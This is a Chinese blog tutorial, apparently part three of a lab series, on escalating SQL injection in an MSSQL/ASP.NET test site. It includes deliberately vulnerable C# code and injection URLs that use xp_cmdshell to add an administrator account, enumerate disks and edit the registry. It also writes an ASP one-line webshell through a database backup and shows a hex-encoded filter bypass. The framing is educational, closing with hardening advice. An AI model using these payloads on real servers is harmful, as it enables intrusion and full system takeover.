WEB 安全之 SQL注入 < 三 > 提权
SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆。进攻与防守相当于矛和盾的关系,我们如果能清楚了解
攻击的全过程,就可以更好的预防类似情况的出现。
前两篇文章介绍了攻击者通过构造SQL语句来获得“非授权信息”,都是停留在数据库层面的,其实它的威力可不仅仅止于此吆。如果DB管理员有疏忽,再加上页面有注入漏洞,危害不仅仅像前两篇最终网站后台沦陷搞不好整个系统都有可能被人控制。
测试环境跟上一篇相同, MSQL + asp.net + win7。前面已经拿下了管理员用户名、密码,我们还是使用新闻详细页面 ( 方便测试,不设防 ):
public partial class NewsInfo : System.Web.UI.Page
{
protected NewsModel _news = new NewsModel();
protected void Page_Load(object sender, EventArgs e)
{
var id = Request["id"];
var sqlStr = "select * from news where id=" + id;
var sqlCon = SqlHelper.GetConnection();
try
{
var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr);
if (ds.Tables[].Rows.Count <= ) return;
_news.Title = ds.Tables[].Rows[]["title"].ToString();
_news.Text = ds.Tables[].Rows[]["text"].ToString();
_news.CreateTime = ((DateTime)ds.Tables[].Rows[]["createTime"]).ToString("yyyy-MM-dd");
}
catch (Exception ex)
{
}
}
}
1. 添加系统用户
这里主要用到 xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
由于存在安全隐患,一般 xp_cmdshell 默认是关闭的。 如果要执行它首先要打开 xp_cmdshell 打开 xp_cmdshell 的语句
--- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE --关闭xp_cmdshell
EXEC sp_configure 'show advanced options',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell',
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options',
打开之后就可以执行了,通过它能做的事情太多了,开启你的想象力,在这里我们看看添加用户 ,需要用到 net user 命令,的大致语法是这样的
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup /add administrators abc 将abc 添加到administrators 用户组中
net user guest 用guest用户登陆后用将密码改为12345
添加一个用户 可以构建一条SQL语句 Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add'。
在新闻详细页面URL地址里输入 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net user test 123456 /active:yes /add' 刷新页面,看看系统里是不是多了一个test 用户。


把 test用户加入管理员组 localhost:833/news/newsInfo?id=12;Exec master.dbo.xp_cmdshell 'net localgroup /add administrators test' ,再看看。

test用户拥有管理员权限了。
2.遍历磁盘目录
对磁盘操作的语句如下
--获取驱动器
exec master.dbo.xp_availablemedia
-- 获得子目录列表
exec master.dbo.xp_subdirs 'c:\Users'; -- 获得所有子目录的目录树结构
exec master.dbo.xp_dirtree 'c:\';
-- 查看文件的内容
exec xp_cmdshell 'type D:\test.txt';
URL地址栏输入 http://localhost:833/news/newsInfo?id=12;create table diskpath(name nvarchar(255),lowfree nvarchar(255),highfree nvarchar(255),mediatype nvarchar(255)); 回车创建一张表保存磁盘信息

URL地址栏输入 http://localhost:833/news/newsInfo?id=12;insert diskpath exec master.dbo.xp_availablemedia; 磁盘信息插入表diskpath
在新闻列表页输入 http://localhost:833/index?cId=category1' union select 1,name,'3','2016-1-1','5' from diskpath -- 查看服务磁盘列表

同理可以遍历服务器磁盘结构
3.读取、修改注册表
操作注册表语法
--xp_regenumvalues 以多个记录集方式返回所有键值
--用法: xp_regenumvalues 注册表根键, 子键
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion' --xp_regread 返回制定键的值
--用法:xp_regread 根键,子键,键值名
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' --xp_regwrite 写入注册表
--用法:xp_regwrite 根键,子键, 值名, 值类型, 值 (值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' --xp_regdeletevalue 删除某个值
--用法:xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' --xp_regdeletekey 删除键,包括该键下所有值
--用法:xp_regdeletevalue 根键,子键
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
在这里就操作手法跟查看服务器磁盘信息类似,这里就不做相关演示了。想一想,注册表都能改了,开启远程桌面,查看远程桌面开放的端口....等等等等,不都是手到擒来的事情吗!
所以,为了安全,如果不需要,DB管理员一定要把相关敏感的存储过程删除。应用程序连接字符串里的用户,如果没有必要给个普通权限就好了,别动不动就把 sa 亮出来,安全为重!!
4.构建websell
这里构建websell其实是利用 sql 的 backup 功能往web程序目录下写一个备份文件,只不过是在备份文件的扩展名上做了手脚。
create table cmd (str image)
backup database SqlLinjection to disk = 'd:\cmd' with init
insert into cmd (str) values ('<%execute request("cmd")%>')
backup log SqlLinjection to disk='D:\SourceCode\SQLinjection\cmd.asp';
drop table cmd
这里生成了一个asp页面在网站目录里,里面写了经典的一句话木马,通过它攻击者就得到了websell。看看可以访问吗

具体这个小马怎么骑的,如果不清楚请自己 goole。
5.关于对字符的过滤
在前一篇文章 WEB 安全之 SQL注入 < 二 > 暴库 里,由于时间问题,还有小部分内容没写,在这里就补一下吧 (^.^) 。在文章最后一段管理员做了敏感字符的过滤,管理员过滤掉了空格,而攻击者通过 /**/ 来代替空格绕过了过滤字符。感觉很有成就感,呵呵呵呵。真实环境中管理员发现了漏洞不太可能只过滤掉空格的。你不是注入吗?我把单引号、等于号、空格 一起都过滤掉,看你怎么办。。其实没用的,我相信现在还存在仅仅把单引号替换双单引号的网站。其
实在第一篇文章 WEB 安全之 SQL注入<一> 盲注 里也说过,最好使用参数化查询和预编译查询语句来预防SQL注入,当然使用一些现成的框架也可以避免。通过过滤的手段要考虑周全,某一点没考虑到,就会被攻击者利用。
先看看这条SQL语句 DecLaRe @c vArchaR(8000);sEt @c=0x73656c656374204c454e282766776569776572272920;EXeC(@c);-- 猜猜看可以执行吗?看到这里大家都明白了吧。攻击者可以不用单引号来执行同带单引号语句有相同效果的命令,对付这样的语句如果过滤的话怎么做? (;@=0x 空格、关键字 通通都过滤掉吗? 这就安全了吗?不好说,谁知道还有哪些没想到呢。
结束语:知耻而后勇 知不足而奋进。 拒绝漏洞从我做起,网络安全程序猿有责。
WEB 安全之 SQL注入 < 三 > 提权的更多相关文章
- web安全学习(sql注入1)
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- web安全之sql注入原理
sql注入的原理: 将(恶意)的SQL命令注入到后台数据库引擎执行的能力,把信息返回到页面 sql注入产生的原因: 过滤不严谨,导致产生的sql注入. sql注入产生的地方: ...
- Web安全 之 SQL注入
随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据 ...
- SQL注入(三)
邮给我一个密码 我们意识到虽然不能添加一条新的记录在members表中,但我们可以通过修改一个存在的记录, 这也获得了我们的证明是可行的. 从先前的步骤中,我们知道bob@example.com在系统 ...
- web安全之SQL注入
一.sql注入是一种将sql代码添加到输入参数中 传递到sql服务器解析并执行得一种攻击手法 例: $sql = "SELECT * FROM goods WHERE Id = 1" ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- Web安全0002 - SQL注入 - 注入流程
注:本文是学习网易Web安全进阶课的笔记,特此声明. 一.信息搜集 — 数据库类型 - 报错信息.特有语句— 数据库版本(@@version,$version)— 数据库用户— 判断数据库权限 二.数 ...
随机推荐
- javaweb回顾第一篇servlet的学习和理解
前言:关于servlet相信学过java的都不会陌生,我最近又把这些基础知识整理一遍,便于自已能更好的理解ssm或者ssh,下面开始 1:Servlet接口 servlet有5个方法下面分别简单的介绍 ...
- Android显示等宽图片的问题
安卓开发常遇到一个问题,就是在listView里面,在不知道图片宽高的前提下,另图片布满屏幕(图片宽度等于屏幕宽度,高度自适应).在listView中,只是设置scaleType,imageView. ...
- ASP.NET Web API中的参数绑定总结
ASP.NET Web API中的action参数类型可以分为简单类型和复杂类型. HttpResponseMessage Put(int id, Product item) id是int类型,是简单 ...
- 解决Visual Studio 2010/2012在调试时lock文件的方法
调试3dsmax插件,有一个避免每次修改插件代码都需要重启3dsmax的方法,就是将导出的核心代码写在一个独立的DLL中,然后在插件代码需要导出时LoadLibrary这个DLL,导出之后再FreeL ...
- Linux 磁带机备份完全攻略
一.确定数据备份策略 首先必须确定在备份过程中操作哪些文件.在商业环境中,这是非常困难的一个决定,而且会产生严重的影响.如果备份了太多数据,会导致备份系统的成本过于庞大,会削减其他方面的开支.如果没有 ...
- ubuntu(Mint-17)修改dns
国内默认dns常被劫持,所以需要修改: $ sudo vi /etc/network/interfaces 在下面添加一行: dns-nameservers 8.8.8.8 8.8.4.4 然后,网上 ...
- MyEclipse中拷贝J2EE项目,发布到tomcat中名字一样的解决办法
修改Eclipse工作空间下新拷贝项目下.settings文件夹中org.eclipse.wst.common.component的两个属性值. 为新项目名字: <?xml version=&q ...
- windows 应用商店应用笔记
xaml http://www.cnblogs.com/free722/archive/2011/11/06/2238073.html win8 http://blog.csdn.net/ygzk12 ...
- Python: 如何继承str/string?
想搞一个对象继承自str,然后存一些额外信息用来标识这个字符串,然后理所当然地重写了__init__发现跪了: class newstring(str): def __init__(self, val ...
- 15.6.8-sql小技巧
取月头月尾: declare @someDay datetime,@firstDay datetime,@endDay datetime set @someDay='2015.2.2' ,) ,) s ...